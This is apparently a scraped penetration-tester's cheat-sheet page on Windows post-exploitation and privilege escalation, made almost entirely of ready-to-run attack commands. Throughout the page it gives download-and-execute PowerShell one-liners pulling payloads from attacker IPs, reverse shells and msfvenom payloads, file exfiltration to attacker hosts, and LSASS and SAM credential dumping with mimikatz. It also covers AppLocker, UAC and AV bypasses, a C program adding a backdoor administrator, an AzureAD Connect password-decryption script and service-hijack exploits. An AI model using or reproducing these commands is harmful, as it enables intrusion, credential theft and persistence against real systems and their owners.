IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.26/Invoke-ReflectivePEInjection.ps1') $PEBytes = [IO.File]::ReadAllBytes('full\path\for\application.exe') Invoke-ReflectivePEInjection -PEBytes $PEBytes ## Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" ## ------------------| More info https://github.com/api0cradle/UltimateAppLockerByPassList * PowerShell **Constrained Language Mode** [Bypass](https://github.com/padovah4ck/PSByPassCLM) . Copy ## ------------------| Verify ConstrainedLanguage mode enabled? $ExecutionContext.SessionState.LanguageMode ## ------------------| Methord 01 powershell.exe -version 2 IEX (New-Object System.Net.Webclient).DownloadString('http:///rev.ps1') ## ------------------| Methord 02 ## You can run commands inside the function like this -> function test { whoami } and this equel to &{ whoami } cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 rev.ps1 echo -e "Invoke-PowerShellTcp -Reverse -IPAddress -Port 4545" >> rev.ps1 python3 -m http.server 80 echo -n "IEX(New-Object Net.WebClient).DownloadString('http:///rev.ps1')" | iconv --to-code UTF-16LE | base64 -w 0 &{ powershell -enc JABzAG0...Sad== } ## ------------------| Using PsBypassCLM wget https://github.com/h4rithd/PrecompiledBinaries/blob/main/PSBypassCLM/PsBypassCLM.exe ### Execute ### Place the binary in C:\Windows\Tasks\PsBypassCLM.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U C:\Windows\Tasks\PsBypassCLM.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.14.38 /rport=4545 /U C:\Windows\Tasks\PsBypassCLM.exe * UAC Bypass Copy REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System ## Bypasing https://github.com/hfiref0x/UACME https://docs.h4rithd.com/windows/privilageesc-windows#01.-common-tricks ### [](#id-01.10-upload-download-execute) 01.10 Upload / Download / Execute * Upload file. Copy $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C://BloodHound.zip' -Encoding Byte)) Invoke-WebRequest -Uri http://10.10.14.25:443 -Method POST -Body $b64 ## Download file with netcat echo | base64 -d -w 0 > bloodhound.zip ## ------------------| The Background Intelligent Transfer Service (BITS) Start-BitsTransfer "C:\Temp\bloodhound.zip" -Destination "http://10.10.10.132/uploads/bloodhound.zip" -TransferType Upload -ProxyUsage Override -ProxyList PROXY01:8080 -ProxyCredential INLANEFREIGHT\svc-sql * Download file Copy ## ------------------| Old version (support for any version) powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.63/nc.exe', 'C:\Users\Public\nc.exe')" ## ------------------| New version (alias IWR) powershell -c "Invoke-WebRequest http://10.10.14.26/nc.exe -OutFile C:\Users\Public\nc.exe" ## ------------------| Executed in memory (alias IEX) powershell -c "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://10.10.14.25/revshell.ps1')" powershell -c "Invoke-WebRequest http://10.10.14.25/revshell.ps1 | iex" ## ------------------| Internet Explorer’s First Run error (-useBasicParsing) powershell -c "IWR -useBasicParsing http://10.10.14.26/nc.exe -o C:\Users\Public\nc.exe" ### If you have admin access you can disable Internet Explorer’s First Run customization reg add "HKLM\SOFTWARE\Microsoft\Internet Explorer\Main" /f /v DisableFirstRunCustomize /t REG_DWORD /d 2 ## ------------------| CMD ways certutil -urlcache -split -f http://10.10.14.26/nc.exe C:\Users\Public\nc.exe ## ------------------| Using Curl powershell curl http://10.10.14.11/rev.ps1 ## ------------------| The Background Intelligent Transfer Service (BITS) bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe Import-Module bitstransfer;Start-BitsTransfer -Source "http://10.10.10.32/nc.exe" -Destination "C:\Temp\nc.exe" * Execute file Copy ## ------------------| Remote IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.26/SharpHound.ps1') ## ------------------| Local .\rev.ps1 Import-Module .\rev.ps1 ### [](#id-01.11-encoding-decoding) 01.11 Encoding / Decoding * Encoded Payload Copy ## ------------------| Encode the payload echo -n "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.26/rev.ps1')" | iconv --to-code UTF-16LE | base64 -w 0 ## ------------------| Run the payload powershell -EncodedCommand SQBFAFgAKABOA.....ApAA== * Encode file to base64 Copy ## ------------------| Method I powershell -c [convert]::ToBase64String((cat C:\windows\system32\license.rtf -Encoding byte)) ## ------------------| Method II certutil -encode C:\windows\system32\license.rtf license-b64.out ## ------------------| Method III $fc = Get-Content "file name.txt" $fc $fe = [System.Text.Encoding]::UTF8.GetBytes($fc) [System.Convert]::ToBase64String($fe) * Decode secure password (`SecureString`) Copy ## ------------------| From SecureString.xml $file = Import-CliXml -Path string.xml $file.GetNetworkCredential().Password $file.GetNetworkCredential().Flag ## ------------------| $pw = gc admin-pass.xml | ConvertTo-SecureString $cred = New-Object System.Management.Automation.PSCredential("Administrator", $pw) $cred.GetNetworkCredential() | fl * ## ------------------| $user = "USERNAME" $pass = "PASSWORD" $secStringPass = ConvertTo-SecureString $pass -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($user,$secStringPass) $cred | fl $cred.GetNetworkCredential() | fl ## ------------------| If you only have the secure string $user = "" $pass = ConvertTo-SecureString $cred = New-Object System.Management.Automation.PSCredential($user,$pass) $cred.GetNetworkCredential() | fl ### [](#id-01.12-dumping-credentials) 01.12 Dumping Credentials * Dump `SAM` and `SYSTEM` files Copy REG SAVE HKLM\SYSTEM SYSTEM REG SAVE HKLM\SAM SAM # Get hashes impacket-secretsdump -sam SAM -system SYSTEM local impacket-secretsdump -sam SAM -system SYSTEM -history local * With [Out-Minidump.ps1](https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1) Copy wget https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1 IEX(New-Object Net.Webclient).DownloadString('http:///Out-Minidump.ps1') Get-Process lsass | out-minidump * With [Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) Copy ## ------------------| Get PID tasklist | findstr /i lsas ## ------------------| Dump to file procdump64.exe -accepteula -ma lsass.dmp procdump64.exe -accepteula -ma lsass.exe lsass.dmp ## ------------------| Extract hashes pypykatz lsa minidump lsass.dmp mimikatz.exe "sekurlsa::minidump c:\lsass.dmp" "sekurlsa::logonpasswords" * With [Dumpert](https://github.com/outflanknl/Dumpert) Copy wget https://github.com/h4rithd/PrecompiledBinaries/raw/main/Dumpert/Outflank-Dumpert.dll wget https://github.com/h4rithd/PrecompiledBinaries/raw/main/Dumpert/Outflank-Dumpert.exe .\Outflank-Dumpert.exe rundll32.exe C:\Windows\temp\Outflank-Dumpert.dll,Dump * With Avast's [AvDump](https://github.com/f1tz/Misc/tree/master/AvDump) Copy ## ------------------| Location C:\Program Files\Avast Software\Avast\AvDump.exe ## ------------------| Download wget -O ADTool.exe https://github.com/f1tz/Misc/raw/master/AvDump/x86/AvDump.exe wget -O ADTool.exe https://github.com/f1tz/Misc/raw/master/AvDump/x64/AvDump.exe ## ------------------| Execute .\AvDump.exe --pid 704 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\Windows\temp\file.dmp ## ------------------| Metasploit post exploitation module post/windows/gather/avast_memory_dump * With [SqlDumper](https://github.com/f1tz/Misc/tree/master/SqlDumper) Copy ## ------------------| Download wget https://github.com/f1tz/Misc/raw/master/SqlDumper/SqlDumper_2008R2_x86.zip wget https://github.com/f1tz/Misc/raw/master/SqlDumper/SqlDumper_2008R2_x64.zip ## ------------------| Execute .\sqldumper.exe [lsass's pid] 0 0x0110 ## ------------------| Extract passwords mimikatz.exe "log" "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit * LaZagne \[Firefox,Chrome\] Copy wget https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.5/LaZagne.exe .\laZagne.exe all * LetMeowIn Copy git clone https://github.com/Meowmycks/LetMeowIn.git && cd LetMeowIn gcc ### [](#id-01.13-other) 01.13 Other * Copy file from `smb` server Copy ## ------------------| Start SMB Server impacket-smbserver impacket-smbserver share $(pwd) -smb2support impacket-smbserver share $(pwd) -smb2support -username h4rithd -password Password123 ## ------------------| Mount share using cmd net use z: \share net use z: \\\share /USER:h4rithd Password123 ## ------------------| Mount share using powershell $pass = ConvertTo-SecureString 'Password123' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential('h4rithd', $pass) New-PSDrive -Name h4rithd -PSProvider FileSystem -Credential $cred -Root \\\share cd h4rithd: dir ## ------------------| Direct copy copy C:\Users\Public\sam \\10.10.14.26\share\sam xcopy C:\Users\Public\sam \\10.10.14.26\share\sam * Start `SMB` samba server on Linux for share files. Copy ## ------------------| From using Impacket-smbserver impacket-smbserver share . # if it gets error "Your system requires SMB2 or higher" then run below command impacket-smbserver share . -smb2support ## ------------------| From using Linux default SMBA ## Backup current settings sudo cp /etc/samba/smb.conf /etc/samba/smb.conf.bak ## Create directory for smb location and grant permission mkdir -p /tmp/smb chmod 0777 /tmp/smb ## Config smba for share echo "\n\n#### --- $(hostname) was edits below lines ----\n [share] \n \ \tpath = /tmp/smb \n \ \tpublic = yes \n \ \twritable = yes \n \ \tcomment = $(hostname) shares \n \ \tprintable = no \n \ \tguest ok = yes \n \ #### --- Edit done -------" >> /etc/samba/smb.conf ## Verify configs tail 10 /etc/samba/smb.conf ## Start smb service sudo service smbd restart ## ** Please note to revert settings after done !!! cp /etc/samba/smb.conf.bak /etc/samba/smb.conf service smbd restart * [RedTeam Cheatsheet](https://gist.github.com/m8r0wn/b6654989035af20a1cb777b61fbc29bf) Copy ## ------------------| Run Powershell prompt as a different user, without loading profile to the machine [replace DOMAIN and USER] runas /user:DOMAIN\USER /noprofile powershell.exe ## ------------------| Insert reg key to enable Wdigest on newer versions of Windows reg add HKLM\SYSTEM\CurrentControlSet\Contro\SecurityProviders\Wdigest /v UseLogonCredential /t Reg_DWORD /d 1 ## ------------------| Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command] powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'" ## ------------------| Invoke-Mimikatz: Dump credentials from memory powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds" ## ------------------| Import Mimikatz Module to run further commands powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')" ## ------------------| Invoke-MassMimikatz: Use to dump creds on remote host [replace $env:computername with target server name(s)] powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PewPewPew/Invoke-MassMimikatz.ps1');'$env:COMPUTERNAME'|Invoke-MassMimikatz -Verbose" ## ------------------| PowerUp: Privilege escalation checks powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1’);Invoke-AllChecks” ## ------------------| Invoke-Inveigh and log output to file powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Scripts/Inveigh.ps1');Invoke-Inveigh -ConsoleOutput Y –NBNS Y –mDNS Y –Proxy Y -LogOutput Y -FileOutput Y" ## ------------------| Invoke-Kerberoast and provide Hashcat compatible hashes powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-kerberoast -OutputFormat Hashcat" ## ------------------| Invoke-ShareFinder and print output to file powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess|Out-File -FilePath sharefinder.txt" ## ------------------| Import PowerView Module to run further commands powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')" ## ------------------| Invoke-Bloodhound powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound" [](#id-02.-defense-evasion-techniques) 02\. Defense Evasion Techniques --------------------------------------------------------------------------- * AV Evasion techniques (Invoke-Obfuscation) Copy ## ------------------| Basic setup git clone https://github.com/danielbohannon/Invoke-Obfuscation cd Invoke-Obfuscation pwsh Import-Module ./Invoke-Obfuscation.psd1 cd /tmp Invoke-Obfuscation ## ------------------| Obfuscate entire command via Encoding SET SCRIPTPATH /tmp/revshell.ps1 ENCODING 5 OUT /tmp/enc.ps1 ## ------------------| Obfuscate PowerShell Ast nodes (PS3.0+) SET SCRIPTPATH /tmp/revshell.ps1 AST ALL 1 OUT /tmp/enc.ps1 * Evasion with Shellter Copy shellter A ### For automatic mode ### you can do it your self. [](#id-03.-scripts) 03\. Scripts ------------------------------------- * Add new user using c Copy #include int main () { int user; user = system ("net user h4rithd Password! /add"); user = system ("net localgroup administrators h4rithd /add"); return 0; } ## sudo i686-w64-mingw32-gcc adduser.c -o adduser.exe * Get-ServiceACL.ps1 Copy # download Get-ServiceACL.ps1 to the box and execute in memory $h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.2/GetServiceACL.ps1',$false);$h.send();iex $h.responseText # examine nscp service ACL "nscp" | Get-ServiceAcl | select -ExpandProperty Access * Invoke-TSPingSweep.ps1 Copy wget https://raw.githubusercontent.com/dwj7738/My-Powershell-Repository/master/Scripts/Invoke-TSPingSweep.ps1 IEX(New-Object Net.WebClient).downloadString('http://10.8.0.74/Invoke-TSPingSweep.ps1') Invoke-TSPingSweep -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 -ResolveHost -ScanPort * [Invoke-Portscan.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/Invoke-Portscan.ps1) Copy ## ------------------| Scan port 22 Invoke-Portscan -Hosts 172.16.249.1/24 -Ports 22 -Threads 30 | Where { $_.Alive -eq "True" } ## ------------------| Scan other ports Invoke-Portscan -Hosts 172.16.249.202 -Ports '21,22,80,443,8080' * [Invoke-AESEncryption.ps1](https://www.powershellgallery.com/packages/DRTools/4.0.2.3/Content/Functions/Invoke-AESEncryption.ps1) Copy ## ------------------| Import-Module Import-Module .\Invoke-AESEncryption.ps1 ## ------------------| Encrypt Invoke-AESEncryption.ps1 -Mode Encrypt -Key "h4rithd" -Path .\PlanText.txt ## ------------------| Decrypt Invoke-AESEncryption -Mode Decrypt -Key "h4rithd" -Path .\ciphertext.txt.aes * [wget](https://superuser.com/questions/25538/how-to-download-files-from-command-line-in-windows-like-wget-or-curl/373068) script for download file. Copy ## ------------------| Create wget.js file var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false); WinHttpReq.Send(); BinStream = new ActiveXObject("ADODB.Stream"); BinStream.Type = 1; BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody); BinStream.SaveToFile(WScript.Arguments(1)); ## ------------------| It can be executed as follows. cscript /nologo wget.js http://10.10.14.25/nc.exe nc.exe ## ------------------| Create wget.vbs file dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET", WScript.Arguments.Item(0), False xHttp.Send with bStrm .type = 1 .open .write xHttp.responseBody .savetofile WScript.Arguments.Item(1), 2 end with ## ------------------| It can be executed as follows. cscript /nologo wget.vbs http://10.10.14.25/nc.exe nc.exe Last updated 7 months ago Was this helpful? 🖼️ ![Page cover image](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2F50507886-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FnExgHyf5c0iANwFPNNH2%252Fuploads%252FBkwMdQH2BK7JPWflkRP9%252FWindLat.jpg%3Falt%3Dmedia%26token%3Dffae8b5c-d313-442c-9b82-52456ec9d4df&width=1248&dpr=4&quality=100&sign=43bb89bb&sv=2) --- # PrivilageEsc Windows 👑 | h4rithd.com | Notes * * * Check list : [https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation) Click here for more !! [PayloadsAllTheThings](https://gitlab.com/pentest-tools/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) [](#id-01.-common-tricks) 01\. Common Tricks ------------------------------------------------- ### [](#id-01.1-uac-bypass) 01.1 UAC Bypass * **DLL Hijacking UAC Bypass**. (SystemPropertiesAdvanced.exe) Click [here](https://github.com/hfiref0x/UACME) for more! Copy ## Source : https://egre55.github.io/system-properties-uac-bypass/ ## ------------------| Check if we are vuln? IWR http://10.10.14.38/sigcheck64.exe -outfile sigcheck.exe .\sigcheck.exe -accepteula -m C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe | findstr autoElevate ## If is true; we are good to go!! ## ------------------| Create backdoor dll file https://docs.h4rithd.com/tools/shells-payloads#09.-dll-hijack ## ------------------| Exploit copy srrstr.dll C:\Users\\appdata\local\microsoft\windowsapps\srrstr.dll cmd /c C:\Windows\SysWow64\SystemPropertiesAdvanced.exe ### If you get any error saying "This operation requires an interactive window". ### You should use any kind of C2 (Use GreatSCT/MSBuild to launch Meterpreter) ## ------------------| Use with interactive shell ### Create payload and gain shell using following methord ### https://docs.h4rithd.com/tools/shells-payloads#10.-greatsct ### migrate the process to explorer.exe meterpreter > ps -S explorer meterpreter > migrate meterpreter > shell cmd /c C:\Windows\SysWow64\SystemPropertiesAdvanced.exe ### [](#id-01.2-if-you-have-in-or-can) 01.2 If you have, in or can? * `AlwaysInstallElevated` check * [Check this article for more details.](https://www.hackingarticles.in/windows-privilege-escalation-alwaysinstallelevated/) Copy ## ------------------| How to check reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer ## From the output that the registry named “AlwaysInstallElevated” exists ## with a dword (REG_WORD) value of 0x1, ## which means that the AlwaysInstallElevated policy is enabled. ## Any user can run msi file. ## ------------------| Exploit ## Create msfvenom payload msfvenom -p windows/meterpreter/reverse_tcp lhost= lport= -f msi > pw3n.msi ## or msfvenom -p windows/x64/exec CMD="cmd /c powershell iex(new-object net.webclient).downloadstring('http://10.14.14.7/shell.ps1')" -f msi > pw3n.msi ## Execute the MSI package file on the Windows command prompt msiexec /quiet /qn /i pw3n.msi ## /quiet = Suppress any messages to the user during installation ## /qn = No GUI ## /i = Regular (vs. administrative) installation * If we are in `LOCAL SERVICE` or `NETWORK SERVICE` Copy ## ------------------| How to check whoami /all ## nt authority\local service <-- ## ------------------| Check advance priv wget https://github.com/itm4n/FullPowers/releases/download/v0.1/FullPowers.exe ## Upload this in to the machine .\FullPowers.exe * If you have `SeDebugPrivilege` ? Copy ## ------------------| How to check whoami /priv ## Check if we have SeDebugPrivilege, ## ------------------| If it's Disabled, then enable ### Using Enable-Privilege.ps1 (may not work if you are in remote connection) wget https://raw.githubusercontent.com/proxb/PoshPrivilege/master/PoshPrivilege/Scripts/Enable-Privilege.ps1 IEX(New-Object Net.WebClient).downloadString('http:///Enable-Privilege.ps1') Enable-Privilege -Privilege SeDebugPrivilege ## .Net v2.0 wget https://github.com/h4rithd/PrecompiledBinaries/raw/main/RunasCs/DotNet-v2.0/RunasCs.exe ## .Net v4.0 wget https://github.com/h4rithd/PrecompiledBinaries/raw/main/RunasCs/DotNet-v4.0/RunasCs.exe RunasCs.exe cmd -r :4545 ## and then type powershell and check whoami /priv ## ------------------| If it's Enabled ### Try to use meterpreter and migrate it to admin process msfvenom --platform windows -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4545 -f exe > h4rithd.exe msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 4545; exploit" getprivs ## check if we have SeDebugPrivilege ### then run the .\h4rithd.exe ### and then search any system or administrator process [winlogon.exe] migrate ### Or if you get the shell from psexec or evil-winrm wget https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1 IEX(New-Object Net.WebClient).downloadString('http:///psgetsys.ps1') ImpersonateFromParentPid -ppid -command "cmd.exe" -cmdargs "/c ping LPORT= -f exe > h4rithd.exe ## ------------------| Exploit copy h4rithd.exe C:\Windows\Temp\h4rithd.exe # Must need, then start listner .\ExploitCapcom.exe * If you have `ExecuteDCOM` membership? Copy ## ------------------| Using Impacket impacket-dcomexec :''@ 'ping -n 2 ' -object MMC20 -shell-type cmd -silentcommand ## ------------------| Using NetExec nxc smb $IP -u -p '' --exec-method mmcexec -x 'ping -n 2 ' * If the user is in `DnsAdmins` group? Copy ## ------------------| Create payload msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f dll > h4rithd.dll ## ------------------| Create SMB share on local machine impacket-smbserver share ./ ## ------------------| Do this on owned remote box dnscmd.exe 127.0.0.1 /config /serverlevelplugindll \\\ sc.exe stop dns ## Create netcat listner and then sc.exe start dns * If you have `GenericAll` on user jorden Copy ## ------------------| Enable PreAuth for user Jorden Get-ADUser jorden | Set-ADAccountControl -DoesNotRequirePreAuth $true ## ------------------| Then run this impacket-GetNPUsers htb.local/jorden -dc-ip 192.168.3.203 -no-pass * If you have `GenericWrite` on any services Copy ## ------------------| Check the command sc.exe ## ------------------| If it is succcess then Exploit [Space must] sc.exe config UsoSVC binpath= "\"c:\windows\system32\cmd.exe /c powershell C:\\Windows\\system32\\spool\\drivers\\color\\rev.ps1\"" sc.exe stop UsoSVC sc.exe config UsoSVC start=auto sc.exe start UsoSVC * If you have `xp_dirtree` ? Copy ## Turn on responder sudo responder -i tun0 ## Execute sqlcmd -Q "xp_dirtree \\YourIP\test" ## Get the NTLM hash and crack with hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt * If you are on `Azure Admins` group? Copy ## Read this blog https://blog.xpnsec.com/azuread-connect-for-redteam/ ## Methodology $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=localhost;Integrated Security=true;Initial Catalog=ADSync" $client.Open() $cmd = $client.CreateCommand() $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration" $reader = $cmd.ExecuteReader() $reader.Read() | Out-Null $key_id = $reader.GetInt32(0) $instance_id = $reader.GetGuid(1) $entropy = $reader.GetGuid(2) $reader.Close() $cmd = $client.CreateCommand() $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'" $reader = $cmd.ExecuteReader() $reader.Read() | Out-Null $config = $reader.GetString(0) $crypted = $reader.GetString(1) $reader.Close() add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll' $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager $km.LoadKeySet($entropy, $instance_id, $key_id) $key = $null $km.GetActiveCredentialKey([ref]$key) $key2 = $null $km.GetKey(1, [ref]$key2) $decrypted = $null $key2.DecryptBase64ToString($crypted, [ref]$decrypted) $domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}} $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}} $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}} Write-Host ("Domain: " + $domain.Domain) Write-Host ("Username: " + $username.Username) Write-Host ("Password: " + $password.Password) * If you are in member of `Event Log Readers` group. Copy wget https://raw.githubusercontent.com/RamblingCookieMonster/PowerShell/master/Get-WinEventData.ps1 IEX(New-Object Net.WebClient).downloadString('http://10.10.14.25/Get-WinEventData.ps1') # Simple example showing the computer an event was generated on, the time, and any custom event data Get-WinEvent -LogName system -max 1 | Get-WinEventData | Select -Property MachineName, TimeCreated, e_* # Find lockout events on a domain controller Get-WinEvent -ComputerName DomainController1 -FilterHashtable @{Logname='security';id=4740} -MaxEvents 10 | Get-WinEventData | Select TimeCreated, e_TargetUserName, e_TargetDomainName # Command line process login (A new process has been created) Get-WinEvent -FilterHashtable @{Logname='security';id=4688} | Get-WinEventData | Select TimeCreated,MachineName,e_CommandLine | ft -autosize -wrap ## Check this out for windows event codes https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx * If you are on `WSUS Administrators` group? [SharpWSUS](https://github.com/nettitude/SharpWSUS) Copy wget https://github.com/h4rithd/PrecompiledBinaries/raw/main/SharpWSUS/SharpWSUS.exe wget https://github.com/h4rithd/PrecompiledBinaries/raw/main/PsExec64/PsExec64.exe -O psexec.exe .\SharpWSUS.exe create /payload:"C:\Users\sflowers\Documents\psexec.exe" /args:"-accepteula -s -d -accepteula -s -d C:\\Users\\sflowers\\Documents\\nc.exe -e cmd 10.10.14.4 4545" /title:"LocalUpdate" .\SharpWSUS.exe approve /updateid: /computername: /groupname:"LocalUpdate" ### Wait for 5-6 minutes .\SharpWSUS.exe check /updateid: /computername: * If you are member of `Administrators` group, but still stuck? Copy ## List Administrators group members net localgroup Administrators ## Use this simple methord to bypass UAC net use h: \\127.0.0.1\c$ h: dir * If you are `iis apppool\defaultapppool` user Copy ## ------------------| Find the machine account first sudo responder -I tun0 \\\h4rithd ## ------------------| TGT Delegation [1st Step] ## Download Rubeus.exe from https://github.com/r3motecontrol/Ghostpack-CompiledBinaries .\Rubeus.exe tgtdeleg /nowrap ## Copy the hash in to the ticket.kirbi.b64 file cat ticket.kirbi.b64 | base64 -d > ticket.kirbi pip install minikerberos --break-system-packages minikerberos-kirbi2ccache ticket.kirbi ticket.ccache export KRB5CCNAME=ticket.ccache ## ------------------| DCSync [2nd Step] sudo ntpdate -s domain.com impacket-secretsdump -k -no-pass Machine_Name.domain.com impacket-secretsdump -k -no-pass Machine_Name.domain.com -just-dc-user administrator ## then use psexec with pass the hash * If you are in `LAPS_Readers` Copy Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime Computers = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime $Computers | Sort-Object ms-Mcs-AdmPwdExpirationTime | Format-Table -AutoSize Name, DnsHostName, ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime $computers | Export-Csv -path c:\windows\temp\laps.csv" -NoTypeInformation * Hijacking/Migrating login sessions. Copy ## ------------------| Check who are logged into the machine, what sessions are available? tasklist /v ## ------------------| Get into a session ## Create payload msfvenom --platform windows -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT= -f exe > h4rithd.exe sudo msfdb run use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST tun0 set LPORT run meterpreter > ps ## Search explorer.exe; becouse it's more stable then copy the PID value migrate ### [](#id-01.3-service-registry-exploits) 01.3 Service / Registry Exploits * [Insecure Service Permissions](https://sohvaxus.github.io/content/winxp-sp1-privesc.html) Copy ## ------------------| Enumarations [Must have SERVICE_START & SERVICE_STOP permissions] .\winPEASany.exe quiet servicesinfo Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'} | findstr "Program" ## ------------------| Check Permissions icacls "C:\Program Files\...\\..\pro.exe" ### Check BUILTIN\Users:(I)(F) permission ## ------------------| Check for particular service name .\accesschk.exe /accepteula -uwcqv "Authenticated Users" * .\accesschk.exe /accepteula -uwcqv user accesschk.exe /accepteula -ucqv ## ------------------| Exploit ## Check current status sc qc sc query ## Set binary path sc config binpath= "\"C:\Windows\Temp\shell.exe\"" ## Start service net start sc STOP sc START ## Set automactic start sc config start= auto ## Remove dependancy sc config depend= "" ## ------------------| Restart service cmd wmic service where caption=" get name, caption, state, startmode ## if StartMode is Auto ## Check if we have restart machine privilages whoami /priv * Insecure Service Executables Copy ## ------------------| Check ### RW Everyone .\accesschk.exe /accepteula -quvw "C:\.exe" ### SERVICE_START & SERVICE_STOP permissions .\accesschk.exe /accepteula -uwcqv user ## ------------------| Exploit ## Backup origianl one then replace with shell.exe ## Start the service net start sc STOP sc START * [Unquoted Service Path](https://pentestlab.blog/2017/03/09/unquoted-service-path/) Copy ## ------------------| Intro C:\Program Files\One Folder\Two Folder\Executable.exe C:\Program.exe C:\Program Files\One.exe C:\Program Files\One Folder\Two.exe C:\Program Files\A Subfolder\Two Folder\Executable.exe ## ------------------| Check unqoted paths wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v "'" ## ------------------| Check if we have ### SERVICE_START & SERVICE_STOP permissions .\accesschk.exe /accepteula -uwcqv user ### Write permission [RW BUILTIN\Users] .\accesschk.exe /accepteula -uwcqv -uwdq ## ------------------| Replace & start service move payload.exe "C:\Program Files\...\\.exe" net start sc STOP sc START * Weak Registry Permissions Copy ## ------------------| Verify [Check for RW NT AUTHORITY\INTERACTIVE] Get-Acl HKLM:\\ | Format-List .\accesschk.exe /accepteula -uvwqk 